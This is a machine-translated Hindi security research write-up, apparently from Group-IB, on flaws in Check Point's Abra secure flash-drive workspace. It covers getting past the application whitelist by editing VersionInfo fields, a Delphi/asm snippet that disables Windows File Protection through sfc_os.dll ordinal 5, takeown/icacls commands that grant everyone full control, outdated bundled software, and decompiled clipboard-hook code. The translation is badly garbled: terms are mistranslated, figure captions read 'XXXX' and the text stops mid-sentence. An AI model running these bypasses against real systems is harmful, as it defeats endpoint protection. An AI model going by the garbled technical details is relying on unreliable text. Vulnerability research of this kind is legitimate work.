рдЪреЗрдХрдкреЙрдЗрдВрдЯ Abra - "рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп" рдлреНрд▓реИрд╢ рдбреНрд░рд╛рдЗрд╡ рдореЗрдВ рдЕрдВрддрд░рд╛рд▓

рд╕реВрдЪрдирд╛ рд╕реБрд░рдХреНрд╖рд╛ рдмрд╛рдЬрд╛рд░ рдореЗрдВ, рдЕрдзрд┐рдХ рд╕реЗ рдЕрдзрд┐рдХ рдирдП рдПрдВрдб-рдХрд╕реНрдЯрдорд░ рдкреНрд░реЛрдЯреЗрдХреНрд╢рди рдЯреВрд▓ (рдЖрд░рдмреАрдПрд╕, рдИрдЖрд░рдкреА / рдПрд╕рдПрдкреА, рдФрд░ рдЗрд╕реА рддрд░рд╣) рд╣реИрдВред рдореВрд▓реНрдп рдирд┐рд░реНрдзрд╛рд░рдг рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╣рдо рдореЗрдВ рд╕реЗ рдмрд╣реБрдд рдХрдо рд▓реЛрдЧ рд╕рдВрд░рдХреНрд╖рдг рдХреА рдкреНрд░рднрд╛рд╡рд╢реАрд▓рддрд╛ рдХреЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рд╕рд╛рде рдЖрдП рд╣реИрдВ рдЬреЛ рд╡реЗ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдЧреНрд░реБрдк-рдЖрдИрдмреА - рдЪреЗрдХрдкреЙрдЗрдВрдЯ рдЕрдмреНрд░рд╛рд╣ рд╡рд▓реНрдирд░реЗрдмрд┐рд▓рд┐рдЯреА

рд╕рдореВрд╣-рдЖрдИрдмреА рд╡рд┐рд╢реЗрд╖рдЬреНрдЮреЛрдВ рдиреЗ рдЪреЗрдХрдкреЙрдЗрдВрдЯ рдПрдмрд░ рдЙрддреНрдкрд╛рдж рдХреЗ рд╕рдВрднрд╛рд╡рд┐рдд рдЕрдВрддрд░рд╛рд▓ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрдзреНрдпрдпрди рдХрд┐рдпрд╛, рдЬреЛ рдПрдХ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╡рд┐рдпреЛрдЬреНрдп рдорд╛рдзреНрдпрдо рд╣реИ рдЬреЛ рдЖрдкрдХреЛ рдХрд┐рд╕реА рднреА рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рд╡рд░реНрдЪреБрдЕрд▓ рд╡рд░реНрдХрд╕реНрдЯреЗрд╢рди рдХреЛ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬрд┐рд╕рд╕реЗ рдпрд╣ рдЬреБрдбрд╝рд╛ рд╣реБрдЖ рд╣реИред



рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐


рдбрд┐рд╡рд╛рдЗрд╕ рдХреА рджрд╛рд╡рд╛ рдХреА рдЧрдИ рддрдХрдиреАрдХреА рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЛ рдкреВрд░реНрд╡рд╕реНрдерд╛рдкрд┐рдд рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рд╡рд┐рд╢реЗрд╖ рдЖрднрд╛рд╕реА рд╕рдВрд░рдХреНрд╖рд┐рдд рд╡рд╛рддрд╛рд╡рд░рдг рд▓реЙрдиреНрдЪ рдХрд░рдХреЗ, рдУрдПрд╕ рдореЗрдВ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рдПрдХ рдЕрд▓рдЧ рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рд╡рд╛рддрд╛рд╡рд░рдг рдкреНрд░рджрд╛рди рдХрд░рдирд╛ рд╕рдВрднрд╡ рдмрдирд╛рддрд╛ рд╣реИред рд╕рднреА рд╕рдВрдЧреНрд░рд╣реАрдд рдбреЗрдЯрд╛ рдЬреЛ рдЗрд╕рдХреЗ рдбрд┐рд╕реНрдХ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИ, рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рд╕рдорд╛рдзрд╛рди рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдореЛрдмрд╛рдЗрд▓ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреА рд░рдХреНрд╖рд╛ рдХрд░рдирд╛ рд╣реИ рдЬреЛ рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдкреАрд╕реА, рдЗрдВрдЯрд░рдиреЗрдЯ рдХреИрдлреЗ (рдпрджрд┐ рдЗрд╕реЗ рд╡рд┐рдпреЛрдЬреНрдп рдореАрдбрд┐рдпрд╛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ) рдФрд░ рдЕрдиреНрдп рд╣реЙрдЯ рд╕реНрдкреЙрдЯ рд╕реЗ рдХрд╛рдо рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдирд┐рдпрдВрддреНрд░рдг рдирд┐рдпрдо рд╡рд┐рд╢реЗрд╖ рдлрд╛рдЗрд▓реЛрдВ рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИрдВ рдЬреЛ рд╢реНрд╡реЗрддрд╕реВрдЪреА рдореЗрдВ рд╡рд░реНрдгрд┐рдд рд╣реИрдВ:

F: \ PWC \ data \ sandbox-persistence.ref
F: \ PWC \ data \ swspogo.xml
F: \ PWC \ data \ ISWPolicy.xml
F: \ PWC \ data \ ics_policy.xml

рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рддреНрд░ рдореЗрдВ рдХрд╛рдо рдХрд░рдиреЗ рдкрд░ рд╢реНрд╡реЗрдд рд╕реВрдЪреА рд╕реЗ рдХрд┐рд╕реА рднреА рдЖрд╡реЗрджрди рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред


рдЕрдВрдЬреАрд░ред 1 - рдПрдХ рддреГрддреАрдп-рдкрдХреНрд╖ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕ рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдПрдХ рд╕рдВрджреЗрд╢ рдХреЗ рд╕рд╛рде рдПрдХ рдЦрд┐рдбрд╝рдХреА рдЬреЛ рдЕрдиреБрдордд рд╕реВрдЪреА рдореЗрдВ рдирд╣реАрдВ рд╣реИ

рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛


1. рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рддреНрд░ рдореЗрдВ рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдХреЗ рдХрд╛рд░реНрдпрдХреНрд░рдо рд╢реБрд░реВ рдХрд░рдирд╛

рд╕рддреНрд░ рдХреЗ рднреАрддрд░, рдпрд╣ рдХреЗрд╡рд▓ рдкрд╣рд▓реЗ рд╕реЗ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдП рдЧрдП рдкреНрд░реЛрдЧреНрд░рд╛рдореЛрдВ рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ рдЗрдВрдЯрд░рдиреЗрдЯ рдПрдХреНрд╕рдкреНрд▓реЛрд░рд░, рдиреЛрдЯрдкреИрдб, рдХреИрд▓рдХреБрд▓реЗрдЯрд░, рдХрд╛рд░реНрдпрд╛рд▓рдп, рд░рд┐рдореЛрдЯ рдбреЗрд╕реНрдХрдЯреЙрдк рдХрдиреЗрдХреНрд╢рди (+ рдкреЛрд░реНрдЯреЗрдмрд▓ рдПрдкреНрд╕) рдФрд░ рдореЗрдЬрдмрд╛рди рдорд╢реАрди рдХреЗ рд╕рд┐рд╕реНрдЯрдо рдЙрдкрдпреЛрдЧрд┐рддрд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ, рдЬреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ "F: PWC \ data \ sandbox- рджреГрдврд╝рддрд╛ рдореЗрдВ рд╕рдВрдХреЗрддрд┐рдд рд╣реИрдВред" рд░реЗрдлрд░реА "ред

/>


рдЕрдВрдЬреАрд░ред 2 - рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд╕реНрдЯрд╛рд░реНрдЯрдЕрдк рдирд┐рдпрдВрддреНрд░рдг рдиреАрддрд┐ рдлрд╝рд╛рдЗрд▓ рд╕рд╛рдордЧреНрд░реА

рд╕рддреНрд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдирд┐рдпрдВрддреНрд░рдг рдХреЗрд╡рд▓ рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рдкрде, рд╕рд╛рде рд╣реА рдлрд╝рд╛рдЗрд▓ рдореЗрдВ VersionInfo рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпреЛрдВ рджреНрд╡рд╛рд░рд╛ рдЪрд▓ рд░рд╣реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рдЬрд╛рдБрдЪ рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЖрдк рдПрдХ рдордирдорд╛рдирд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЖрдпрд╛рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ рдлрд╝рд┐рд▓реНрдЯрд░ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рдХреЗ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдХрд┐рд╕реА рднреА рд╢реНрд╡реЗрдд рд╕реВрдЪреА рдореЗрдВ рд╡рд░реНрдЬрдирдЗрдиреНрдлреЛ рд╕реЗрдХреНрд╢рди рдХреЗ рдлрд╛рдЗрд▓ рдирд╛рдо рдФрд░ рдЙрд╕рдХреЗ рдУрд░рд┐рдЬрд┐рдирд▓рдлрд┐рд▓реНрдо рдХреНрд╖реЗрддреНрд░ рдХреЛ рдмрджрд▓рдХрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рддреНрд░ рдореЗрдВ рдХрд┐рд╕реА рднреА рдЖрдпрд╛рдд рдХреЗ рдмрд┐рдирд╛ рд╣реЛрд╕реНрдЯ рдУрдПрд╕ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, WinRar рд╕рдВрдЧреНрд░рд╣рдХрд░реНрддрд╛) рдкрд░ рдПрдХ рдордирдорд╛рдирд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХреЛ рдмрджрд▓рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдФрд░ рдпрд╣ рдлрд╝рд╛рдЗрд▓ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рддреНрд░ (рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдореЗрдиреВ рд╕реЗ рдпрд╛ рдкреНрд░рд╛рд░рдВрдн рдореЗрдиреВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд▓реЙрдиреНрдЪ рдХрд░рдХреЗ) рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХреА рдЬрд╛рдПрдЧреАред

рдЖрдк рдкреНрд░рд╛рд░рдВрдн рдореЗрдиреВ (рдЗрдВрдЯрд░рдиреЗрдЯ рдПрдХреНрд╕рдкреНрд▓реЛрд░рд░, рдиреЛрдЯрдкреИрдб, рдХреИрд▓рдХреБрд▓реЗрдЯрд░) рд╕реЗ рдкреНрд░реАрдЗрдВрд╕реНрдЯреЙрд▓реНрдб рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рднреА рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ, рд╣реЛрд╕реНрдЯ рдУрдПрд╕ рдкрд░ рдлрд╝рд╛рдЗрд▓ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдЕрдХреНрд╖рдо рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдЖрдкрдХреЛ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред рд╕рд┐рд╕реНрдЯрдо рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж sfc_os.dll рд╕рд┐рд╕реНрдЯрдо рдлрд╝рд╛рдЗрд▓ (рд╡рд┐рдВрдбреЛрдЬрд╝ xp) рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрдпрд╛рдд рдХрд┐рдП рдЧрдП рдкрд╛рдБрдЪрд╡реЗрдВ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдХреЗ рд╡рд┐рдВрдбреЛрдЬ рдлрд╝рд╛рдЗрд▓ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдХреЛрдб рдЙрджрд╛рд╣рд░рдг:

hInst := LoadLibrary('sfc_os.dll');
proc := GetProcAddress(hInst, ordinal 5);
filename := 'c:\windows\system32\calc.exe';
asm
push -1
push filename
push 0
call proc
end


рдпрд╛ рдлрд╝рд╛рдЗрд▓ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ (рд╡рд┐рд╕реНрдЯрд╛ рдФрд░ рдЙрдЪреНрдЪрддрд░):

рдЯреЗрдХрдбрд╛рдЙрди / рдПрдл <рдлрд╝рд╛рдЗрд▓ рдирд╛рдо>
icacls <рдлрд╝рд╛рдЗрд▓ рдирд╛рдо> /%% рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо%: F
icacls <file_name> / рдЕрдиреБрджрд╛рди * S-1-1-0: (F)

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╕рдВрд░рдХреНрд╖рд┐рдд рд╕рддреНрд░ рдореЗрдВ рдХреИрд▓рдХреБрд▓реЗрдЯрд░ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдкреНрд░рдкрддреНрд░ C: \ Windows \ System32 \ calc.exe (рдпрд╛ C: \ Windows \ SysWOW64 \ calc.exe) рдХреА рдПрдХ рдлрд╝рд╛рдЗрд▓, рдпрджрд┐ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╕рддреНрд░ 64-рдмрд┐рдЯ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдкрд░ рдЪрд▓ рд░рд╣рд╛ рд╣реИ, рддреЛ рд╕рд┐рд╕реНрдЯрдо рдлрд╝реЛрд▓реНрдбрд░ рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред ) рдПрдХ рдЕрд▓рдЧ рдХрдВрдбрдХреНрдЯрд░ рдореЗрдВред


рдЕрдВрдЬреАрд░ред 3 - рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ OllyDbg рдкрд░ рдПрдХ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдкрд░рд┐рд╡рд░реНрддрди рд╣рдорд▓реЗ (рдХреИрд▓рдХреБрд▓реЗрдЯрд░) рдХрд╛ рдЖрдпреЛрдЬрди

2. рдкреВрд░реНрд╡рд╕реНрдерд╛рдкрд┐рдд рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг

рд╕реНрдерд╛рдкрд┐рдд рдкреЛрд░реНрдЯреЗрдмрд▓ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд╕реЗрдЯ рдкреВрд░реНрд╡-рддреИрдпрд╛рд░ рдЙрддреНрдкрд╛рдж рд╡рд┐рддрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рд╣рдореЗрд╢рд╛ рдирд╡реАрдирддрдо рд╕рдВрд╕реНрдХрд░рдг рдирд╣реАрдВ рдФрд░ рд╣рдореЗрд╢рд╛ рдЕрджреНрдпрддрди рдирд╣реАрдВ рд╣реЛрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдлрд╝рд╛рдЗрд▓рдЬрд╝рд┐рд▓рд╛ рд╕рд░реНрд╡рд░ 2006 рд╕рдВрд╕реНрдХрд░рдг 2.2.26a (рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рд╡реЗрдмрд╕рд╛рдЗрдЯ рд╕рдВрд╕реНрдХрд░рдг 3.5.3 2012 рдкрд░ рдирд╡реАрдирддрдо рдмрд┐рд▓реНрдб)ред


рдЕрдВрдЬреАрд░ред 4 - рдкреВрд░реНрд╡рд╕реНрдерд╛рдкрд┐рдд рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рдЧреИрд░-рд╕рдВрд╕реНрдХрд░рдгрд┐рдд рд╕рдВрд╕реНрдХрд░рдг

3. рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рд╕рдВрд░рдЪрдирд╛ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдФрд░ рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рддреНрд░ рдХрд╛ рдмреВрдЯрд▓реЛрдбрд░

рдЬрдм рдПрдХ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╕рддреНрд░ рдЪрд▓ рд░рд╣рд╛ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдПрдХ рдЕрд▓рдЧ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕рдореВрд╣ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред


рдЕрдВрдЬреАрд░ред 5 - XXXX

рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдФрд░ рдЙрддреНрдкрд╛рдж рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЛ 2 рд╡рд┐рдзрд╛рдирд╕рднрд╛рдУрдВ рдореЗрдВ рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: 32 рдФрд░ 64-рдмрд┐рдЯред рдЗрд╕рдХреЗ рдмрд╛рд╡рдЬреВрдж, 64-рдмрд┐рдЯ рд╕рд┐рд╕реНрдЯрдо рдкрд░, F: \ Go \ PWC \ WoW64 рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рд╕реНрдерд┐рдд рдХрдИ 32-рдмрд┐рдЯ рдореЙрдбреНрдпреВрд▓ рдЕрднреА рднреА рд▓реЙрдиреНрдЪ рдХрд┐рдП рдЧрдП рд╣реИрдВред ISWMGR.exe рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рджреВрд╕рд░рд╛ рдЙрджрд╛рд╣рд░рдг explorer.exe рдЦреЛрдЬрдХрд░реНрддрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╢реБрд░реВ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рд╕рднреА рдмрд╛рд╣рд░реА рдЙрдкрдпреЛрдЧрд┐рддрд╛рдУрдВ рдФрд░ рдЖрдпрд╛рддрд┐рдд рдХрд╛рд░реНрдпрдХреНрд░рдореЛрдВ рдХреЗ рдорд╛рддрд╛-рдкрд┐рддрд╛ рд╣реИрдВ рдЬреЛ рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рддреНрд░ рдореЗрдВ рдЦреЛрд▓реЗ рдЬрд╛рддреЗ рд╣реИрдВред


рдЕрдВрдЬреАрд░ред 6 - XXXX

рдПрдХ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╕рддреНрд░ рдХреЗ рдЕрдВрджрд░ рдЖрдпрд╛рддрд┐рдд рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд▓реЙрдиреНрдЪ рдХрд░рддреЗ рд╕рдордп, рдЙрдиреНрд╣реЗрдВ рдПрдХ рдЕрд▓рдЧ рд▓реЛрдбрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди F: \ PWC \ WOW64 \ ISWLDR.dat (рдЫрд╡рд┐ 8, рд╕рд┐рд╕реНрдЯрдо рдЙрдкрдпреЛрдЧрд┐рддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП, рд▓реЛрдбрд░ рджреНрд╡рд╛рд░рд╛ рд╢реБрд░реВ рдХрд┐рдП рдмрд┐рдирд╛ рдкреБрд╕реНрддрдХрд╛рд▓рдп рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ) рджреНрд╡рд╛рд░рд╛ рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдмрджрд▓реЗ рдореЗрдВ, рд╣реБрдХ рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП InitHook рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдХреЗ ISWUL.dll рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ (рдЫрд╡рд┐ 9, рдЫрд╡рд┐ 10)ред рдлрд╛рдЗрд▓, рд░рдЬрд┐рд╕реНрдЯреНрд░реА, рдХреНрд▓рд┐рдкрдмреЛрд░реНрдб, рдХреНрд░рд┐рдкреНрдЯреЛрдЧреНрд░рд╛рдлреА, рдЖрджрд┐ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрд▓рд┐рдВрдЧ рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЗ рд▓рд┐рдП рд╕реЗрдЯ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯреНрд╕ред


рдЕрдВрдЬреАрд░ред 7 - ISWLDR.dat рдмреВрдЯрд▓реЛрдбрд░ рдбрд┐рдмрдЧрд┐рдВрдЧ рд╡рд┐рдВрдбреЛ (рдбрд┐рдмрдЧрд┐рдВрдЧ рдЯреВрд▓ рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рддреНрд░ рдХреЗ рднреАрддрд░ рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд▓реЙрдиреНрдЪ рдХрдВрдЯреНрд░реЛрд▓ рдЯреВрд▓ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рдХреЗ)


рдЕрдВрдЬреАрд░ред 8 - Abra рд▓реЛрдбрд░ рджреНрд╡рд╛рд░рд╛ рд╢реБрд░реВ рдХрд┐рдП рдЧрдП рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рд╕реНрдореГрддрд┐ рдореЗрдВ рдореВрд▓ LoadLibraryExW рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдХреЛрдб


рдЕрдВрдЬреАрд░ред 9 - Abra рдмреВрдЯрд▓реЛрдбрд░ рджреНрд╡рд╛рд░рд╛ рд▓реЙрдиреНрдЪ рдХрд┐рдП рдЧрдП рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рдпрд╛рдж рдореЗрдВ рд▓реЛрдбрд▓реЙрдЙрдВрдбреНрд╕рдПрдХреНрд╕рдбрдмреНрд▓реНрдпреВрдбрдмреНрд▓реНрдпреВ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдХреЛрдб (рд╡рд░реНрдЪреБрдЕрд▓ рдкрддреЗ рдкрд░ рдЗрд╕рдХреЗ рджреНрд╡рд╛рд░рд╛ рд╕реНрдерд╛рдкрд┐рдд рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯрд░ рдХреЗ рд╕рд╛рде 765A2097)

рдПрдХ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд░реВрдк рдореЗрдВ рдХреНрд▓рд┐рдкрдмреЛрд░реНрдб рдлрд┐рд▓реНрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдлрд╝рдВрдХреНрд╢рди рд╣реБрдХ рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рдХреЛрдб рдХреА рдЕрд╕рдВрддреБрд╖реНрдЯ рд╕реВрдЪреАред рддрдХрдиреАрдХ рдХреЛ SetClipboardData рдХреНрд▓рд┐рдкрдмреЛрд░реНрдб рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред GetClipboardData, OpenClipboard, EmptyClipboard, CloseClipboard рдФрд░ рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдХреЙрд▓рдмреИрдХ рд╣реИрдВрдбрд▓рд░ рд╕реЗрдЯ рдХрд░рдирд╛:

 HANDLE (__stdcall *__cdecl GetAddrOf_SetClipboardData())(UINT, HANDLE) { HANDLE (__stdcall *result)(UINT, HANDLE); // eax@1 result = SetClipboardData; addr_SetClipboardData = SetClipboardData; return result; } int __cdecl hooks_Clipboard() { int v0; // eax@1 int v1; // eax@3 int v2; // eax@5 int v3; // eax@7 int result; // eax@9 v0 = splice_func(addr_SetClipboardData, callback_SetClipboardData); if ( v0 ) addr_SetClipboardData = v0; v1 = splice_func(addr_GetClipboardData, callback_GetClipboardData); if ( v1 ) addr_GetClipboardData = v1; v2 = splice_func(addr_OpenClipboard, callback_OpenClipboard); if ( v2 ) addr_OpenClipboard = v2; v3 = splice_func(addr_EmptyClipboard, callback_EmptyClipboard); if ( v3 ) addr_EmptyClipboard = v3; result = splice_func(addr_CloseClipboard, callback_CloseClipboard); if ( result ) addr_CloseClipboard = result; return result; } 


рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯрд░ рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЛ рдмрдВрдж рдХрд░рдХреЗ (рдЙрдиреНрд╣реЗрдВ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдлрд╝рдВрдХреНрд╢рди рдХреЛрдб рдХреЛ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛) рд╕рдВрднрд╡ рд╣реИ - рд╕рд┐рд╕реНрдЯрдо рдлрд╝реЛрд▓реНрдбрд░ рд╕реЗ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╕реАрдзреЗ рдкрдврд╝рдиреЗ рд╕реЗ (рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╕рд┐рд╕реНрдЯрдо рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкрдврд╝рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдПрдХ рдЕрд╕реНрдерд╛рдпреА рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рдХреЙрдкреА рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рдПрдХ рд╕рдВрд░рдЪрд┐рдд рдЕрдкрд╡рд╛рдж 